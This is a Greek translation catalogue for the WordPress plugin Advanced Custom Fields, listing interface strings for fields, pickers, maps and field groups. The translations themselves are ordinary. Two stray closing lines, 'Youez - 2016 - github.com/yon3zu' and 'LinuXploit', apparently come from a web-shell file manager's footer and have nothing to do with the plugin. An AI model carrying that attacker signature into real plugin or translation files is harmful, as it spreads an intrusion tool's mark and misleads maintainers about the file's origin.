#: includes/fields/class-acf-field-text.php:25
msgid "Text"
msgstr "Κείμενο"

#: includes/fields/class-acf-field-relationship.php:760
msgid "%1$s requires at least %2$s selection"
msgid_plural "%1$s requires at least %2$s selections"
msgstr[0] "Το %1$s απαιτεί τουλάχιστον %2$s επιλογή"
msgstr[1] "Το %1$s απαιτεί τουλάχιστον %2$s επιλογές"

#: includes/fields/class-acf-field-post_object.php:395
#: includes/fields/class-acf-field-relationship.php:622
msgid "Post ID"
msgstr "Post ID"

#: includes/fields/class-acf-field-post_object.php:25
#: includes/fields/class-acf-field-post_object.php:394
#: includes/fields/class-acf-field-relationship.php:621
msgid "Post Object"
msgstr "Post Object"

#: includes/fields/class-acf-field-relationship.php:654
msgid "Maximum posts"
msgstr "Μέγιστο πλήθος post"

#: includes/fields/class-acf-field-relationship.php:644
msgid "Minimum posts"
msgstr "Ελάχιστο πλήθος post"

#: includes/admin/views/field-group-options.php:148
#: includes/fields/class-acf-field-relationship.php:679
msgid "Featured Image"
msgstr "Επιλεγμένη Εικόνα"

#: includes/fields/class-acf-field-relationship.php:675
msgid "Selected elements will be displayed in each result"
msgstr "Τα επιλεγμένα αντικείμενα θα εμφανίζονται σε κάθε αποτέλεσμα"

#: includes/fields/class-acf-field-relationship.php:674
msgid "Elements"
msgstr "Αντικείμενα"

#: includes/fields/class-acf-field-relationship.php:608
#: includes/fields/class-acf-field-taxonomy.php:28
#: includes/fields/class-acf-field-taxonomy.php:706
#: includes/locations/class-acf-location-taxonomy.php:22
msgid "Taxonomy"
msgstr "Ταξινομία"

#: includes/fields/class-acf-field-relationship.php:607
#: includes/locations/class-acf-location-post-type.php:22
msgid "Post Type"
msgstr "Τύπος Άρθρου"

#: includes/fields/class-acf-field-relationship.php:601
msgid "Filters"
msgstr "Φίλτρα"

#: includes/fields/class-acf-field-page_link.php:470
#: includes/fields/class-acf-field-post_object.php:382
#: includes/fields/class-acf-field-relationship.php:594
msgid "All taxonomies"
msgstr "Όλες οι Ταξινομίες"

#: includes/fields/class-acf-field-page_link.php:462
#: includes/fields/class-acf-field-post_object.php:374
#: includes/fields/class-acf-field-relationship.php:586
msgid "Filter by Taxonomy"
msgstr "Φιλτράρισμα κατά Ταξινομία"

#: includes/fields/class-acf-field-page_link.php:455
#: includes/fields/class-acf-field-post_object.php:367
#: includes/fields/class-acf-field-relationship.php:579
msgid "All post types"
msgstr "Όλοι οι τύποι άρθρων"

#: includes/fields/class-acf-field-page_link.php:447
#: includes/fields/class-acf-field-post_object.php:359
#: includes/fields/class-acf-field-relationship.php:571
msgid "Filter by Post Type"
msgstr "Φιλτράρισμα κατά Τύπο Άρθρου"

#: includes/fields/class-acf-field-relationship.php:469
msgid "Search..."
msgstr "Αναζήτηση..."

#: includes/fields/class-acf-field-relationship.php:399
msgid "Select taxonomy"
msgstr "Επιλογή ταξινομίας"

#: includes/fields/class-acf-field-relationship.php:390
msgid "Select post type"
msgstr "Επιλογή τύπου άρθρου"

#: includes/fields/class-acf-field-relationship.php:65
#: assets/build/js/acf-input.js:3917 assets/build/js/acf-input.js:4195
msgid "No matches found"
msgstr "Δεν βρέθηκαν αντιστοιχίες"

#: includes/fields/class-acf-field-relationship.php:64
#: assets/build/js/acf-input.js:3900 assets/build/js/acf-input.js:4174
msgid "Loading"
msgstr "Φόρτωση"

#: includes/fields/class-acf-field-relationship.php:63
#: assets/build/js/acf-input.js:3809 assets/build/js/acf-input.js:4070
msgid "Maximum values reached ( {max} values )"
msgstr "Αγγίξατε το μέγιστο πλήθος τιμών ( {max} τιμές )"

#: includes/fields/class-acf-field-relationship.php:25
msgid "Relationship"
msgstr "Σχέση"

#: includes/fields/class-acf-field-file.php:288
#: includes/fields/class-acf-field-image.php:314
msgid "Comma separated list. Leave blank for all types"
msgstr "Λίστα διαχωρισμένη με κόμμα. Αφήστε κενό για όλους τους τύπους"

#: includes/fields/class-acf-field-file.php:287
#: includes/fields/class-acf-field-image.php:313
msgid "Allowed file types"
msgstr "Επιτρεπόμενοι τύποι αρχείων"

#: includes/fields/class-acf-field-file.php:275
#: includes/fields/class-acf-field-image.php:277
msgid "Maximum"
msgstr "Μέγιστο"

#: includes/fields/class-acf-field-file.php:151
#: includes/fields/class-acf-field-file.php:267
#: includes/fields/class-acf-field-file.php:279
#: includes/fields/class-acf-field-image.php:268
#: includes/fields/class-acf-field-image.php:304
msgid "File size"
msgstr "Μέγεθος αρχείου"

#: includes/fields/class-acf-field-image.php:242
#: includes/fields/class-acf-field-image.php:278
msgid "Restrict which images can be uploaded"
msgstr "Περιορίστε ποιες εικόνες μπορούν να μεταφορτωθούν"

#: includes/fields/class-acf-field-file.php:263
#: includes/fields/class-acf-field-image.php:241
msgid "Minimum"
msgstr "Ελάχιστο"

#: includes/fields/class-acf-field-file.php:232
#: includes/fields/class-acf-field-image.php:207
msgid "Uploaded to post"
msgstr "Μεταφορτώθηκε στο άρθρο"

#: includes/fields/class-acf-field-file.php:231
#: includes/fields/class-acf-field-image.php:206
#: includes/locations/class-acf-location-attachment.php:73
#: includes/locations/class-acf-location-comment.php:61
#: includes/locations/class-acf-location-nav-menu.php:74
#: includes/locations/class-acf-location-taxonomy.php:63
#: includes/locations/class-acf-location-user-form.php:71
#: includes/locations/class-acf-location-user-role.php:78
#: includes/locations/class-acf-location-widget.php:65
msgid "All"
msgstr "Όλα"

#: includes/fields/class-acf-field-file.php:226
#: includes/fields/class-acf-field-image.php:201
msgid "Limit the media library choice"
msgstr "Περιορισμός της επιλογής βιβλιοθήκης πολυμέσων"

#: includes/fields/class-acf-field-file.php:225
#: includes/fields/class-acf-field-image.php:200
msgid "Library"
msgstr "Βιβλιοθήκη"

#: includes/fields/class-acf-field-image.php:333
msgid "Preview Size"
msgstr "Μέγεθος Προεπισκόπησης"

#: includes/fields/class-acf-field-image.php:192
msgid "Image ID"
msgstr "Image ID"

#: includes/fields/class-acf-field-image.php:191
msgid "Image URL"
msgstr "URL Εικόνας"

#: includes/fields/class-acf-field-image.php:190
msgid "Image Array"
msgstr "Image Array"

#: includes/fields/class-acf-field-button-group.php:165
#: includes/fields/class-acf-field-checkbox.php:368
#: includes/fields/class-acf-field-file.php:210
#: includes/fields/class-acf-field-link.php:168
#: includes/fields/class-acf-field-radio.php:210
msgid "Specify the returned value on front end"
msgstr "Προσδιορίστε την επιστρεφόμενη τιμή παρουσίασης"

#: includes/fields/class-acf-field-button-group.php:164
#: includes/fields/class-acf-field-checkbox.php:367
#: includes/fields/class-acf-field-file.php:209
#: includes/fields/class-acf-field-link.php:167
#: includes/fields/class-acf-field-radio.php:209
#: includes/fields/class-acf-field-taxonomy.php:750
msgid "Return Value"
msgstr "Επιστρεφόμενη Τιμή"

#: includes/fields/class-acf-field-image.php:159
msgid "Add Image"
msgstr "Προσθήκη Εικόνας"

#: includes/fields/class-acf-field-image.php:159
msgid "No image selected"
msgstr "Δεν επιλέχθηκε εικόνα"

#: includes/assets.php:351 includes/fields/class-acf-field-file.php:159
#: includes/fields/class-acf-field-image.php:139
#: includes/fields/class-acf-field-link.php:142 assets/build/js/acf.js:1523
#: assets/build/js/acf.js:1603
msgid "Remove"
msgstr "Αφαίρεση"

#: includes/admin/views/field-group-field.php:65
#: includes/fields/class-acf-field-file.php:157
#: includes/fields/class-acf-field-image.php:137
#: includes/fields/class-acf-field-link.php:142
msgid "Edit"
msgstr "Επεξεργασία"

#: includes/fields/class-acf-field-image.php:67 includes/media.php:55
#: assets/build/js/acf-input.js:6765 assets/build/js/acf-input.js:7228
msgid "All images"
msgstr "Όλες οι εικόνες"

#: includes/fields/class-acf-field-image.php:66
#: assets/build/js/acf-input.js:3173 assets/build/js/acf-input.js:3386
msgid "Update Image"
msgstr "Ενημέρωση Εικόνας"

#: includes/fields/class-acf-field-image.php:65
#: assets/build/js/acf-input.js:3172 assets/build/js/acf-input.js:3385
msgid "Edit Image"
msgstr "Επεξεργασία Εικόνας"

#: includes/fields/class-acf-field-image.php:64
#: assets/build/js/acf-input.js:3148 assets/build/js/acf-input.js:3360
msgid "Select Image"
msgstr "Επιλογή Εικόνας"

#: includes/fields/class-acf-field-image.php:25
msgid "Image"
msgstr "Εικόνα"

#: includes/fields/class-acf-field-message.php:123
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr ""
"Να επιτρέπεται η HTML markup να παρουσιαστεί ως ορατό κείμενο αντί να "
"αποδοθεί"

#: includes/fields/class-acf-field-message.php:122
msgid "Escape HTML"
msgstr "Escape HTML"

#: includes/fields/class-acf-field-message.php:114
#: includes/fields/class-acf-field-textarea.php:169
msgid "No Formatting"
msgstr "Χωρίς Μορφοποίηση"

#: includes/fields/class-acf-field-message.php:113
#: includes/fields/class-acf-field-textarea.php:168
msgid "Automatically add &lt;br&gt;"
msgstr "Αυτόματη προσθήκη &lt;br&gt;"

#: includes/fields/class-acf-field-message.php:112
#: includes/fields/class-acf-field-textarea.php:167
msgid "Automatically add paragraphs"
msgstr "Αυτόματη προσθήκη παραγράφων"

#: includes/fields/class-acf-field-message.php:108
#: includes/fields/class-acf-field-textarea.php:163
msgid "Controls how new lines are rendered"
msgstr "Ελέγχει πώς αποδίδονται οι αλλαγές γραμμής"

#: includes/fields/class-acf-field-message.php:107
#: includes/fields/class-acf-field-textarea.php:162
msgid "New Lines"
msgstr "Αλλαγές Γραμμής"

#: includes/fields/class-acf-field-date_picker.php:229
#: includes/fields/class-acf-field-date_time_picker.php:217
msgid "Week Starts On"
msgstr "Η Εβδομάδα Αρχίζει Την"

#: includes/fields/class-acf-field-date_picker.php:198
msgid "The format used when saving a value"
msgstr "Η μορφή που χρησιμοποιείται στην αποθήκευση μιας τιμής"

#: includes/fields/class-acf-field-date_picker.php:197
msgid "Save Format"
msgstr "Μορφή Αποθήκευσης"

#: includes/fields/class-acf-field-date_picker.php:64
msgctxt "Date Picker JS weekHeader"
msgid "Wk"
msgstr "ΣΚ"

#: includes/fields/class-acf-field-date_picker.php:63
msgctxt "Date Picker JS prevText"
msgid "Prev"
msgstr "Προηγούμενο"

#: includes/fields/class-acf-field-date_picker.php:62
msgctxt "Date Picker JS nextText"
msgid "Next"
msgstr "Επόμενο"

#: includes/fields/class-acf-field-date_picker.php:61
msgctxt "Date Picker JS currentText"
msgid "Today"
msgstr "Σήμερα"

#: includes/fields/class-acf-field-date_picker.php:60
msgctxt "Date Picker JS closeText"
msgid "Done"
msgstr "Ολοκλήρωση"

#: includes/fields/class-acf-field-date_picker.php:25
msgid "Date Picker"
msgstr "Επιλογέας Ημερομηνίας"

#: includes/fields/class-acf-field-image.php:245
#: includes/fields/class-acf-field-image.php:281
#: includes/fields/class-acf-field-oembed.php:265
msgid "Width"
msgstr "Πλάτος"

#: includes/fields/class-acf-field-oembed.php:262
#: includes/fields/class-acf-field-oembed.php:274
msgid "Embed Size"
msgstr "Διαστάσεις Embed"

#: includes/fields/class-acf-field-oembed.php:219
msgid "Enter URL"
msgstr "Εισάγετε URL"

#: includes/fields/class-acf-field-oembed.php:25
msgid "oEmbed"
msgstr "oEmbed"

#: includes/fields/class-acf-field-true_false.php:181
msgid "Text shown when inactive"
msgstr "Κείμενο που εμφανίζεται όταν είναι ανενεργό"

#: includes/fields/class-acf-field-true_false.php:180
msgid "Off Text"
msgstr "Ανενεργό Κείμενο"

#: includes/fields/class-acf-field-true_false.php:165
msgid "Text shown when active"
msgstr "Κείμενο που εμφανίζεται όταν είναι ενεργό"

#: includes/fields/class-acf-field-true_false.php:164
msgid "On Text"
msgstr "Ενεργό Κείμενο"

#: includes/fields/class-acf-field-select.php:449
#: includes/fields/class-acf-field-true_false.php:196
msgid "Stylized UI"
msgstr "Στυλιζαρισμένο"

#: includes/fields/class-acf-field-button-group.php:154
#: includes/fields/class-acf-field-checkbox.php:357
#: includes/fields/class-acf-field-color_picker.php:155
#: includes/fields/class-acf-field-email.php:114
#: includes/fields/class-acf-field-number.php:125
#: includes/fields/class-acf-field-radio.php:199
#: includes/fields/class-acf-field-range.php:161
#: includes/fields/class-acf-field-select.php:379
#: includes/fields/class-acf-field-text.php:94
#: includes/fields/class-acf-field-textarea.php:100
#: includes/fields/class-acf-field-true_false.php:144
#: includes/fields/class-acf-field-url.php:98
#: includes/fields/class-acf-field-wysiwyg.php:315
msgid "Default Value"
msgstr "Προεπιλεγμένη Τιμή"

#: includes/fields/class-acf-field-true_false.php:135
msgid "Displays text alongside the checkbox"
msgstr "Εμφανίζει κείμενο δίπλα στο πεδίο επιλογής"

#: includes/fields/class-acf-field-message.php:26
#: includes/fields/class-acf-field-message.php:97
#: includes/fields/class-acf-field-true_false.php:134
msgid "Message"
msgstr "Μήνυμα"

#: includes/assets.php:350 includes/fields/class-acf-field-true_false.php:83
#: includes/fields/class-acf-field-true_false.php:184
#: assets/build/js/acf.js:1700 assets/build/js/acf.js:1803
msgid "No"
msgstr "Όχι"

#: includes/assets.php:349 includes/fields/class-acf-field-true_false.php:80
#: includes/fields/class-acf-field-true_false.php:168
#: assets/build/js/acf.js:1699 assets/build/js/acf.js:1802
msgid "Yes"
msgstr "Ναι"

#: includes/fields/class-acf-field-true_false.php:25
msgid "True / False"
msgstr "True / False"

#: includes/fields/class-acf-field-group.php:471
msgid "Row"
msgstr "Γραμμή"

#: includes/fields/class-acf-field-group.php:470
msgid "Table"
msgstr "Πίνακας"

#: includes/fields/class-acf-field-group.php:469
msgid "Block"
msgstr "Μπλοκ"

#: includes/fields/class-acf-field-group.php:464
msgid "Specify the style used to render the selected fields"
msgstr ""
"Επιλογή του στυλ που θα χρησιμοποιηθεί για την εμφάνιση των επιλεγμένων "
"πεδίων"

#: includes/fields.php:359 includes/fields/class-acf-field-button-group.php:212
#: includes/fields/class-acf-field-checkbox.php:431
#: includes/fields/class-acf-field-group.php:463
#: includes/fields/class-acf-field-radio.php:283
msgid "Layout"
msgstr "Διάταξη"

#: includes/fields/class-acf-field-group.php:447
msgid "Sub Fields"
msgstr "Υποπεδία"

#: includes/fields/class-acf-field-group.php:25
msgid "Group"
msgstr "Ομάδα"

#: includes/fields/class-acf-field-google-map.php:232
msgid "Customize the map height"
msgstr "Τροποποίηση ύψους χάρτη"

#: includes/fields/class-acf-field-google-map.php:231
#: includes/fields/class-acf-field-image.php:256
#: includes/fields/class-acf-field-image.php:292
#: includes/fields/class-acf-field-oembed.php:277
msgid "Height"
msgstr "Ύψος"

#: includes/fields/class-acf-field-google-map.php:220
msgid "Set the initial zoom level"
msgstr "Ορισμός αρχικού επιπέδου μεγέθυνσης"

#: includes/fields/class-acf-field-google-map.php:219
msgid "Zoom"
msgstr "Μεγέθυνση"

#: includes/fields/class-acf-field-google-map.php:193
#: includes/fields/class-acf-field-google-map.php:206
msgid "Center the initial map"
msgstr "Κεντράρισμα αρχικού χάρτη"

#: includes/fields/class-acf-field-google-map.php:192
#: includes/fields/class-acf-field-google-map.php:205
msgid "Center"
msgstr "Κεντράρισμα"

#: includes/fields/class-acf-field-google-map.php:160
msgid "Search for address..."
msgstr "Αναζήτηση διεύθυνσης..."

#: includes/fields/class-acf-field-google-map.php:157
msgid "Find current location"
msgstr "Εύρεση τρέχουσας τοποθεσίας"

#: includes/fields/class-acf-field-google-map.php:156
msgid "Clear location"
msgstr "Καθαρισμός τοποθεσίας"

#: includes/fields/class-acf-field-google-map.php:155
#: includes/fields/class-acf-field-relationship.php:606
msgid "Search"
msgstr "Αναζήτηση"

#: includes/fields/class-acf-field-google-map.php:60
#: assets/build/js/acf-input.js:2832 assets/build/js/acf-input.js:3013
msgid "Sorry, this browser does not support geolocation"
msgstr ""
"Λυπούμαστε, αυτός ο περιηγητής δεν υποστηρίζει λειτουργία γεωεντοπισμού"

#: includes/fields/class-acf-field-google-map.php:25
msgid "Google Map"
msgstr "Χάρτης Google"

#: includes/fields/class-acf-field-date_picker.php:209
#: includes/fields/class-acf-field-date_time_picker.php:198
#: includes/fields/class-acf-field-time_picker.php:129
msgid "The format returned via template functions"
msgstr "Ο τύπος που επιστρέφεται μέσω των template functions"

#: includes/fields/class-acf-field-color_picker.php:179
#: includes/fields/class-acf-field-date_picker.php:208
#: includes/fields/class-acf-field-date_time_picker.php:197
#: includes/fields/class-acf-field-image.php:184
#: includes/fields/class-acf-field-post_object.php:389
#: includes/fields/class-acf-field-relationship.php:616
#: includes/fields/class-acf-field-select.php:390
#: includes/fields/class-acf-field-time_picker.php:128
#: includes/fields/class-acf-field-user.php:67
msgid "Return Format"
msgstr "Επιστρεφόμενος Τύπος"

#: includes/fields/class-acf-field-date_picker.php:187
#: includes/fields/class-acf-field-date_picker.php:218
#: includes/fields/class-acf-field-date_time_picker.php:189
#: includes/fields/class-acf-field-date_time_picker.php:207
#: includes/fields/class-acf-field-time_picker.php:120
#: includes/fields/class-acf-field-time_picker.php:136
msgid "Custom:"
msgstr "Προσαρμοσμένο:"

#: includes/fields/class-acf-field-date_picker.php:179
#: includes/fields/class-acf-field-date_time_picker.php:180
#: includes/fields/class-acf-field-time_picker.php:113
msgid "The format displayed when editing a post"
msgstr "Ο τύπος που εμφανίζεται κατά την επεξεργασία ενός post"

#: includes/fields/class-acf-field-date_picker.php:178
#: includes/fields/class-acf-field-date_time_picker.php:179
#: includes/fields/class-acf-field-time_picker.php:112
msgid "Display Format"
msgstr "Μορφή Εμφάνισης"

#: includes/fields/class-acf-field-time_picker.php:25
msgid "Time Picker"
msgstr "Επιλογέας Ώρας"

#. translators: counts for inactive field groups
#: acf.php:454
msgid "Inactive <span class=\"count\">(%s)</span>"
msgid_plural "Inactive <span class=\"count\">(%s)</span>"
msgstr[0] "Ανενεργό <span class=\"count\">(%s)</span>"
msgstr[1] "Ανενεργά <span class=\"count\">(%s)</span>"

#: acf.php:413
msgid "No Fields found in Trash"
msgstr "Δεν βρέθηκαν Πεδία στα Διεγραμμένα"

#: acf.php:412
msgid "No Fields found"
msgstr "Δεν βρέθηκαν Πεδία"

#: acf.php:411
msgid "Search Fields"
msgstr "Αναζήτηση Πεδίων"

#: acf.php:410
msgid "View Field"
msgstr "Προβολή Πεδίων"

#: acf.php:409 includes/admin/views/field-group-fields.php:104
msgid "New Field"
msgstr "Νέο Πεδίο"

#: acf.php:408
msgid "Edit Field"
msgstr "Επεξεργασία Πεδίου"

#: acf.php:407
msgid "Add New Field"
msgstr "Προσθήκη Νέου Πεδίου"

#: acf.php:405
msgid "Field"
msgstr "Πεδίο"

#: acf.php:404 includes/admin/admin-field-group.php:220
#: includes/admin/admin-field-groups.php:287
#: includes/admin/views/field-group-fields.php:21
msgid "Fields"
msgstr "Πεδία"

#: acf.php:379
msgid "No Field Groups found in Trash"
msgstr "Δεν βρέθηκαν Ομάδες Πεδίων στα Διεγραμμένα"

#: acf.php:378
msgid "No Field Groups found"
msgstr "Δεν βρέθηκαν Ομάδες Πεδίων"

#: acf.php:377
msgid "Search Field Groups"
msgstr "Αναζήτηση Ομάδων Πεδίων "

#: acf.php:376
msgid "View Field Group"
msgstr "Προβολή Ομάδας Πεδίων"

#: acf.php:375
msgid "New Field Group"
msgstr "Νέα Ομάδα Πεδίων"

#: acf.php:374
msgid "Edit Field Group"
msgstr "Επεξεργασίας Ομάδας Πεδίων"

#: acf.php:373
msgid "Add New Field Group"
msgstr "Προσθήκη Νέας Ομάδας Πεδίων"

#: acf.php:372 acf.php:406 includes/admin/admin.php:51
msgid "Add New"
msgstr "Προσθήκη Νέου"

#: acf.php:371
msgid "Field Group"
msgstr "Ομάδα Πεδίου"

#: acf.php:370 includes/admin/admin.php:50
msgid "Field Groups"
msgstr "Ομάδες Πεδίων"

#. Description of the plugin
msgid "Customize WordPress with powerful, professional and intuitive fields."
msgstr "Προσαρμόστε το WordPress με ισχυρά, επαγγελματικά και εύχρηστα πεδία."

#. Plugin URI of the plugin
#. Author URI of the plugin
msgid "https://www.advancedcustomfields.com"
msgstr "https://www.advancedcustomfields.com"

#. Plugin Name of the plugin
#: acf.php:91
msgid "Advanced Custom Fields"
msgstr "Advanced Custom Fields"

Youez - 2016 - github.com/yon3zu
LinuXploit